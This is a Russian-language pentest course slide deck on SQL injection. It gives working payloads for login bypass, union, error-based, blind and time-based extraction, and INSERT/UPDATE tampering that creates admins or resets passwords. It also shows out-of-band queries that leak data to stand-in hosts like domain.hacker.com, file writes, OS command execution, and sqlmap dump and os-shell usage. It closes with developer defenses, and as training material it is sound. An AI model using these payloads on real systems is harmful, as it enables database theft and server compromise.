---
title: Web App Pentest - 0x04-0x05 SQL Injection
tags: CSR - Web App Pentest
slideOptions:
transition: 'fade'
parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg'
---
<style>
.reveal {
font-size: 36px;
}
</style>
# Web App Pentest
## 4-5 SQL Injection
---
Вопросы по заданиям?
---
## Темы занятия
1. Часть
* Краткий обзор SQL
* Описание уязвимости SQL injection
* Вектора эксплуатации: bypass, union-based
* Обзор имеющихся информационных ресурсов по уязвимости SQL injection
2. Часть
* Вектора эксплуатации уязвимости SQL injection: error-based, boolean-blind, time-based.
* Использование sqlmap для автоматической эксплуатации уязвимостей SQL injection
* Инъекции в UPDATE и INSERT
* Рекомендации для разработчиков для исключения уязвимости SQL injection
---
## 5 минут Burp Suite
### Техника: Поиск фильтруемых символов
- Intruder
- URL кодирование
- Payload Type: Brute Forcer
---


---
## 5 минут Burp Suite
### Техника: Поиск фильтруемых символов
Мы отправили все 256 символов, можно посмотреть как веб-приложение на них реагирует, понять какие фильтруются, а какие нет.
<!--
---
## Еще раз о параметрах
```php
$_GET['test'] - только из query
$_POST['test'] - только из body
$_REQUEST['test'] - и то и другое
```
-->
---
## SQL
SQL - Structured Query Language
Позволяет делать запросы к реляционным базам данным.
Существует множество систем управления базами данных, в каждой из них используется свой диалект SQL:
- MySQL
- SQLite
- Oracle
- MSSql
- PostgreSQL
---
## SQL
Данные в реляционных БД храняться в таблицах
| Id | Name | Password |
| -------- | -------- | -------- |
| 1 | admin | 123123 |
| 2 | user | jf#8EfjsiLEiws- | |
| 3 | guest | | |
---
## SQL
```sql=
SELECT name,password
FROM users
WHERE id=1 OR substr(name,1,1)='g'
ORDER BY id
LIMIT 2
```
| Name | Password |
| ----- | --------------- |
| admin | 123123 |
| guest | |
---
## SQL - подзапросы
```sql=
SELECT name,password
FROM users
where id=(select id from admin_users where name='admin')
```
В данном случае подзапрос должен возвращать одну строку, иначе будет ошибка.
---
## Run SQL online
https://www.jdoodle.com/execute-sql-online - SQLite
http://sqlfiddle.com - все 5
http://rextester.com/l/sql_server - MSSQL, PostgreSQL, MySQL, Oracle
https://sqliteonline.com/ - PostgreSQL, SQLite, MariaDB (MySQL), MSSQL
---
## SQL
https://www.w3schools.com/sql/default.asp - tutorial
http://sql-ex.ru/ - сайт с упражнениями для SQL
---
## SQL injection
---
## OWASP A03:2021-Injection
Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации.
---
## SQL Injection
Уязвимость, при которой контролируемые атакующим данные внедряются в формируемый SQL-запрос. В результате внедрения атакующий может нарушить логику работы запроса и/или заставить СУБД выполнить полезные для атакующего действия.
---
## SQL Injection
```php
$query = "SELECT username, email, phone FROM users
WHERE username = '" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```
---
## SQL Injection
```php
$query = "SELECT username, email, phone FROM users
WHERE username ='" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```
`http://vuln.example.com/?username=John33' or '1'='1`
---
## SQL Injection
```php
$query = "SELECT username, email, phone FROM users
WHERE username ='" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```
`http://vuln.example.com/?username=John33' or '1'='1`
```php=
echo $query;
SELECT username, email, phone FROM users
WHERE username='John33' or '1'='1'
```
---
## SQL Injection
Пример:
bWAPP - SQL Injection (Login Form/Hero).
---
## Упражнение
Root me:
SQL injection - Authentication
---
## SQL Injection
Possible impact:
* Чтение информации из доступных баз данных
* Получение информации о сервере, текущем пользователе, настройках
* Получение информации из файловой системы
* Возможность модификации информации в базе данных
* Возможность записи в файлы
* Возможность выполнения произвольного кода
---
## SQL Injection - cheatsheets
Pentest Monkey:
http://pentestmonkey.net/category/cheat-sheet/sql-injection
Payloads all the things:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/
NetSPI SQL Injection Wiki
https://sqlwiki.netspi.com/
Invicti cheat sheet
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
---
## SQL Injection
### Техники атак
---
## Техники SQL Injection

* Bypassing
* Stacked queries
* Union-based
* Error-based
* Out of band
* Boolean blind
* Time-based (double blind)
---
## Bypass
Bypass инъекции, это когда модифицируется запрос с целью обойти какое-то логическое ограничение
```php
$sql = "SELECT username FROM users WHERE username='".POST['login']." AND password='".md5(POST[‘password’])."'";
```
login=admin' or '1'='1&password=kekpekpohek
login=admin' -- &password=kekpekpohek
---
## Stacked queries
`productid=1; DELETE FROM products`
```sql=
SELECT * FROM products WHERE productid=1; DELETE FROM products
```
Позволяет делать любые запросы к БД (INSERT в пользователей с правами admin, UPDATE своего счета до миллиарда и т.д.)
В том числе вызывать хранимые процедуры, системные функции и т.д.


---
## Stacked queries
`productid=1; DELETE FROM products`
```sql=
SELECT * FROM products WHERE productid=1; DELETE FROM products
```
Еще раз - очень опасная вещь. Если вы нашли SQL-injection обязательно проверьте, можно ли поставить `;` и выполнить второй запрос.
---
## Union based
UNION - оператор SQL, позволяющий объединить результаты двух запросов
```SQL
SELECT name,password from users UNION SELECT name,password from system_users
```
---
## Union based
UNION - оператор SQL, позволяющий объединить результаты двух запросов
```SQL
SELECT name,password from users UNION SELECT name,password from system_users
SELECT name,password from users UNION SELECT '123','234'
```
---
## Union based
UNION - оператор SQL, позволяющий объединить результаты двух запросов
```SQL
SELECT name,password from users UNION SELECT name,password from system_users
SELECT name,password from users UNION SELECT '123','234'
SELECT name,password from users UNION SELECT title,body from posts
```
---
## Union based
Если результат SQL-запроса выводится в HTTP-ответ, то можно проводить Union-based SQL-инъекции.
Идея в том, чтобы добавить в запрос еще один запрос и вывести ответ на экран.
```php
$sql = "SELECT first_name, second_name, city FROM users WHERE id=$id";
```
```/users.php?id=1 UNION ALL SELECT login,password,'1' FROM users```
---
## Union based
Определение количества столбцов в запросе
-ORDER BY (GROUP BY). ORDER BY может принимать на вход номер колонки, по которой надо сортировать ответ. Если передать номер, больший чем колонок - возникнет ошибка.
* ?id=2 ORDER BY 4
* ?id=2 GROUP BY 4
Поэтому просто перебираем целые по возрастанию, пока не возникнет ошибка. Максимальное число на котором нет ошибки - количество столбцов.
<Пример в онлайн SQL>
---
## Union based
/users.php?id=1 UNION ALL SELECT login,password,’1’ FROM admins
Что надо учитывать:
1) Лучше добавлять ALL - если его не добавить, то SQL удалит дубли, и мы можем долго думать куда пропала часть данных
2) Если страница выводит только определенное количество ответов (например, один), нужно в изначальном запросе использовать такие данные чтобы ничего не вернулось
`name=fefefe' and 1=0 UNION SELECT ....`
---
## Union based
SQL Injection (GET/Search)
SQL Injection (GET/Select)
---
## SQLite
Информацию о схеме в SQLite можно получить:
`SELECT sql from sqlite_master`
---
## Union-based - техника
1. Находим инъекцию
2. Определяем сколько колонок в левой части запроса (с помощью order by)
3. делаем union с константами, проверяем что все работает
4. Находим имена таблиц
5. Находим имена колонок
6. Достаем информацию из интересующих нас таблиц
---
## Упражнения
root.me SQL injection - String
root.me SQL injection - Numeric
---
## Отступление
#### О поиске инъекций и сборе информации из базы
---
## В каких запросах могут быть инъекции
В любых!
* SELECT - самый распространенный
* INSERT
* UPDATE
* DELETE
Обычно из семантики запроса можно понять что за запрос делается.
---
## Место инъекции

---
## Место инъекции

В большинстве случаев
---
## Место инъекции

Иногда в этих
---
## Нужна ли кавычка
Два типа:
```sql
SELECT * FROM users where password = '<input>'
SELECT * FROM users where id=<input>
```
Второй способ используется для числовых значений.
Если в процессе анализа видим, что нормальное значение поля - число, то проверять надо оба варианта
---
## Как проверить что есть инъекция
Попробовать поставить кавычку `'`, возможно приложение выдаст информацию об ошибке
---
## Как проверить что есть инъекция
Для числовых полей:
Мы знаем что сервис по разному отвечает на `?id=10` и `?id=11`. Тогда делаем `?id=11-1` и смотрим что получится.
---
## Как проверить что есть инъекция
Для "кавычковых" полей:
Сделать запрос, который не нарушает логику работы.
Рекомендуется:
`id` = `5555' AND '1'='1`
Если ответ тот же что и на странице id=5555, при этом ответ на id=5555'<random_data> - не такой, то инъекция вероятно есть
---
## Как проверить что есть инъекция
Мы также можем использовать payload, которые приводят к задержке или DNS-запросу.
https://github.com/sorokinpf/cth_wordlists/tree/master/SQL%20injection
---
## Комментарии в SQL
Зависят от диалекта
<пробел>--<пробел> - комментирует оставшуюся часть строки.
Может не работать в случае многострочных запросов
```sql
SELECT * from USERS
WHERE username='<login>'
AND password='<hash(password)>'
```
`login`=`admin' -- ` - в данном случае не сработает, т.к. последняя строка все еще будет работать.
---
## Комментарии в SQL
В некоторых диалектах есть многострочный комменарий /*
---
## Что нас интересует в БД
1) Системная информация
2) Имена таблиц
3) Имена колонок
4) Данные
5) Доступ к локальным файлам
6) Выполнение команд ОС
---
## Системная информация
* Версия
* Имя пользователя
* Имя хоста
<Пример>
---
## Таблицы и колонки
См. cheatsheet
Например для MySQL:
```SELECT table_name from information_schema.tables```
```SELECT column_name from information_schema.columns where table_name='table'```
---
## Определение СУБД

---
# NEXT DAY
---
## Вернемся к техникам атак
---
## Error based
Возникает когда веб-приложение отображает ошибку SQL.
| СУБД | Вектор |
| ------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
| MySQL | select 1,2 union select count(*),concat((select content from docs limit 1),floor(rand(0)*2))x from information_schema.tables group by x; |
| MySQL2 | SELECT EXTRACTVALUE(1,CONCAT(0x30,0x327a6b70,@@version)) |
| MSSQL | SELECT CAST((select name from PurchaseOrderDetail) as int); |
---
```
```
---
## Error based
Возникает когда веб-приложение отображает ошибку SQL.
| СУБД | Вектор |
| ---------- | -------------------------------------------------------------------------------- |
| Oracle | (utl_inaddr.get_host_address((select user from DUAL))) |
| PostrgeSQL | SELECT CAST((SELECT kind from films limit 1) as integer); |
| DB2 | select TO_CHAR((select 'fefwefwef' from sysibm.sysdummy1)) from sysibm.sysdummy1 |
---
## Error based
Пример
---
## Boolean blind
## (Boolean based)
---
## Boolean blind
Если напрямую не выводятся ни данные, ни ошибка, но мы можем понять является ли ответ на запрос TRUE или FALSE
Первая задача найти два запроса, в одном из которых есть константное выражение TRUE, в другом FALSE, которые дают разный результат
Например:
`?id=12 AND 1=0`
`?id=12 AND IF((SELECT 1)=1,TRUE,FALSE)`
`?id=12 - IF((SELECT 1)=1,2,3)`
---
## Boolean Blind
Отправляя поочередно множество "вопросов" в БД можно получить произвольную информацию.
---
## Boolean Blind
<Пример>
---
## Boolean Blind
Для эксплуатации нам нужно уметь делать следующие 4 действия:
* Определять количество строк в ответе
* Выбирать конкретный объект из всей выборки
* Определять количество символов в строке
* Определять конкретный символ конкретной строки
---
## Boolean Blind
Условные операторы
* `IF` - только в MySQL
* `CASE ... WHEN ... THEN ... ELSE ... END` - в большинтве СУБД
---
## Boolean Blind
Условные операторы
Часто можно его не использовать:
`?id=12 AND (SELECT count(*) FROM information_schema.tables)>50`
---
## Boolean Blind
Выбираем конкретную строку из ответа:
`limit 1,2` - MySQL,SQLite
`limit 1 offset 0` - Postgres
`OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY` - MSSQL и Oracle (новые версии)
---
## Boolean Blind
Получаем длину строки:
* `len(name)` - mysql
* `length(name)` - остальные
---
## Boolean Blind
Выбираем 1 символ:
* `substr(name,1,1)` - MySQL, SQLite, Oracle
* `substring(name,1,1)` - MSSQL, Postgres
---
## Boolean Blind
#### Бинарный поиск
Позволяет определить значение 1 байта за 8 запросов

---
## Boolean Blind
Приведение символа к числу:
* `unicode(substr(name,1,1))` - SQLite
* `ASCII(substr(name,1,1))` - всех остальных
---
## Out of Band
---
## Out of Band
Идея - заставить БД сделать DNS/HTTP запрос, похищаемые данные подставить в поддомен/строку запроса.
---
## Out of Band
### MSSQL
```sql
select * from fn_trace_gettable('\\'+(select 'abc')+'domain.hacker.com\1.trc',default)
```
Также можно использовать `fn_xe_file_target_read_file`, `fn_get_audit_file`
---
## Out of Band
### Oracle
```sql
SELECT UTL_HTTP.REQUEST(concat('http://',(select ...),'.attacker.domain.com')
```
---
## Time based
## (Double blind)
---
## Time based
Если веб-приложение не выводит никакой информации из выполненного запроса, то мы можем вызывать SQL функцию задержки при определенном условии.
Измеряя время ответа веб-приложения можно получить 1 бит информации за 1 запрос. Сводится к Blind.
Пример: `SELECT IF(1=1,SLEEP(10),1)`
---
## Summary по техникам
<!-- .slide: style="font-size: 20px;" -->
| Техника | Что получаем | Приоритет | Комментарий |
| --------------- | ---------------------------------- | --- | ---------------- |
| Bypass | Обход логической проверки | - | |
| Stacked Queries | Выполнение произвольных запросов | - | Наивысший impact |
| Union Based | Любой объем информации за 1 запрос | 1 | |
| Error Based | N (32-256) байт за 1 запрос | 2 | Зависит от реализации |
| Out of Band | N (до 256) байт за 1 запрос | 3 | Неудобна в эксплуатации, требует автоматизации |
| Boolean Blind | 1 бит за запрос | 3 | |
| Time-Based | 1 бит за запрос | 4 | Очень медленно |
---
## Привелигированные атаки
---
## Чтение файлов
Требует привилегированного пользователя
MySQL: `SELECT LOAD_FILE(‘/etc/passwd’)`
см. cheatsheet.
<пример>
---
## Запись файлов
MySQL:
```sql
SELECT * from users INTO OUTFILE '/tmp/123.txt'
```
см. cheatsheet.
<пример - заливка шелла в /app/images>
---
## Выполнение команд
MSSQL:
```sql
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```
---
## Выполнение команд
PostgreSQL:
```sql=
CREATE TABLE commands_results (
id SERIAL PRIMARY KEY,
output TEXT
);
COPY commands_results (output) FROM PROGRAM 'whoami';
```
---
## sqlmap
---
## sqlmap
Автоматический сканер SQL-инъекций и помощник в их эксплуатации
https://github.com/sqlmapproject/sqlmap
`apt-get install sqlmap`
`brew install sqlmap`
---
## sqlmap
Есть две фазы работы:
* Обнаружение
* Эксплуатация
---
## sqlmap - Обнаружение - базовый пример
```sqlmap -u "http://ttesting.ru:8088/sqli_1.php?title=a&action=search"```
<демонстрация>
---
## sqlmap - Обнаружение
Передача запроса целиком:
`sqlmap -r request.txt`
request.txt можно взять прямо с BURP
---
## sqlmap - Обнаружение
Если мы хотим, чтобы sqlmap вставлял пэйлоады в определенное место, используем символ *
Пример:
`sqlmap -u "http://localhost/sqli_1.php?title=*&action=search"`
Аналогично внутри файла, передаваемого в -r.
---
## sqlmap - Обнаружение
Если мы хотим, чтобы sqlmap искал только определенные техники эксплуатации
--technique
* B=boolean
* E=error
* U=union
* S=staked
* T=time-based
---
## sqlmap - Обнаружение
Часто бывает так что sqlmap не находит нормальную технику, но вы её уже нашли, она точно есть.
Тогда можно попробовать следующее:
* Добавить кавычки и прочую обвязку в запрос, так чтобы sqlmap вместо звездочки нужно было поставить очень простой запрос.
* Наоборот убрать все, оставить в запросе одну только звездочку.
---
## sqlmap - Обнаружение
--level - чем выше, тем больше векторов проверяет sqlmap, увеличивает длительность, диапазон значений 1-5
> By default sqlmap tests all GET parameters and POST parameters. When the value of --level is >= 2 it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections
--risk - чем выше, тем опасней вектора будет пробовать sqlmap. Может привести к удалению информации. Диапазон значений 1-3, лучше оставлять 1.
>The default value is 1 which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also OR-based SQL injection tests.
---
## sqlmap - Эксплуатация
Достаем данные.
1) листим базы данных
`sqlmap ... --dbs`
2) листим таблицы
`sqlmap -D bWAPP --tables`
3) листим колонки
`sqlmap -D bWAPP -T heroes --columns`
4) дампим таблицу
`sqlmap -D bWAPP -T heroes --dump`
---
## sqlmap - Эксплуатация
sql shell позволяет выполнять запросы SQL.
`sqlmap ... --sql-shell`
---
## sqlmap - Эксплуатация
OS shell позволяет автоматически выполнить команды ОС
`sqlmap ... --os-shell`
---
## sqlmap - Эксплуатация
--threads - количество потоков
Особенно важно при эксплуатации blind, т.к. сильно ускоряет процесс.
---
## sqlmap - Кэширование
`sqlmap` кэширует уже вытащенную информацию, чтобы не повторять запросы. Иногда нам надо сбросить кэш.
В таком случае нужно удалить директорию <демонстрация>.
---
## sqlmap - упражнение root-me
---
## sqli_blinder
https://github.com/sorokinpf/sqli_blinder
Позволяет эксплуатировать blind injections если sqlmap их не находит, или по другой причине не справляется.
Нужно реализовать 1 функцию на Python.
---
## Обходы фильтров
---
## Не хватает символа в строке
Нужен символ 'a' в строке. Решение:
Используем функцию chr
`chr(96)||'bc'`
---
# Не хватает одинарной кавычки
MySQL:
`SELECT * FROM users where login=0x313233`
Postgres:
`select * from demo where hint=$$300$$`
---
## INSERT SQL Injections
---
## INSERT SQL Injections
Позволяет добавлять дополнительные записи в целевую таблицу с произвольным содержимым.
---
## INSERT SQL Injections
`#users -> (id,is_admin,name,password)`
```php=
$sql = "INSERT INTO users VALUES (0,0,'$username','md5($password)' )"
```
`?name=','fefef'),(0,1,'new_admin&password=123123`
Добавит нового пользователя с правами admin’a
---
## INSERT SQL Injections
`#posts -> (id,title,body)`
```php=
$sql = "INSERT INTO posts VALUES (0,'$title','$body')""
```
`?body='),(1,(SELECT @@version),'other`
Добавит результат subquery в запись. Потом этот результат может быть считан.
---
## INSERT SQL Injections
`#users -> (id UNIQUE,is_admin,name UNIQUE,password)`
```php=
$sql = "INSERT INTO users VALUES (0,0,'$username','md5($password)' )"
```
`?name=admin','fefef') ON CONFLICT (name) DO UPDATE SET password='new_pass' -- `
Изменит пароль администратору
Еще есть `ON DUPLICATE KEY`.
---
## UPDATE SQL Injections
---
## UPDATE SQL Injections
UPDATE users SET email='<span style="color:red"><input></span>' WHERE id='<span style="color:green"><input></span>'
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='<input>' WHERE id='2'
```
Тут можно изменять другие поля как этой так и других записей:
1) `email=',is_admin='1`
```sql
UPDATE users SET email='',is_admin='1' WHERE id='2'
```
2) `email=',password='123' where username='admin' -- `
```sql
UPDATE users SET email='',password='123' where username='admin' -- ' WHERE id='2'
```
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='<input>' WHERE id='2'
```
Также можно получить данные:
3) `email=',about=(SELECT @@version) where username='my_user' --``
```sql
UPDATE users SET email='',about=(SELECT @@version) where username='my_user' -- ' WHERE id='2'
```
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>'
```
1) Тут можно изменить указанные в запросе поля другому пользователю
`email=our@mail.ru&id=testfefefefe' or username='admin`
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>'
```
Также можно провести блайнд атаку на получение данных
`email=xxx@zzz.ru&id=1' and (select count(*) from users)>10 -- `
Если почта изменилась, значит пользователей больше 10.
---
## Защита от SQL injection
---
## Защита от SQL injection
- Валидация
- Безопасное обращение к SQL
---
## Защита от SQL injection
* Санитизация (экранирование опасных символов) - <span style="color:red">НЕ РЕКОМЕНДУЕТСЯ</span>
* Prepared statements
* ORM
---
## Защита от SQL injection
Санитизация
```php=
<?php
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
OR die(mysql_error());
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
mysql_real_escape_string($user),
mysql_real_escape_string($password));
?>
```
---
## Защита от SQL injection
Prepared Statements
```php=
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
while ($row = $stmt->fetch()) {
print_r($row);
}
}
```
---
## Защита от SQL injection
ORM
```php=
Model\User::where('active', 1)
->where('username', $_GET['username'])
->orberBy('username')
->get();
```
---
## ORM injections
ORM зачастую безсильны при передаче пользовательского ввода в качестве:
- имен таблиц
- имен колонок
- order by/group by
- etc.
Создавайте для таких случаев белые списки.
---
## ORM injections
[RubyOnRails injections](https://rails-sqli.org/)
[Doctrine injections](https://www.doctrine-project.org/projects/doctrine-orm/en/latest/reference/security.html#user-input-and-doctrine-orm)
[Эксплуатация инъекций в Hibernate ORM](https://habr.com/ru/company/parallels/blog/272589/)
[Eloquent Raw methods](https://www.stackhawk.com/blog/sql-injection-prevention-laravel/)
[Terrasoft](https://medium.com/@sorokinpf/bpmonline-sql-injection-607916447e30)
---
## Защита от SQL injection
- Выберите единообразный подход к защите от SQL injection в своем проекте и придерживайтесь его во всем коде
- Изучите особенности выбранного решения
- убедитесь что stacked queries не работают.
- поищите статьи об инъекциях в ваш ORM.
- проверьте возможность инъекции в order by/group by/etc.
---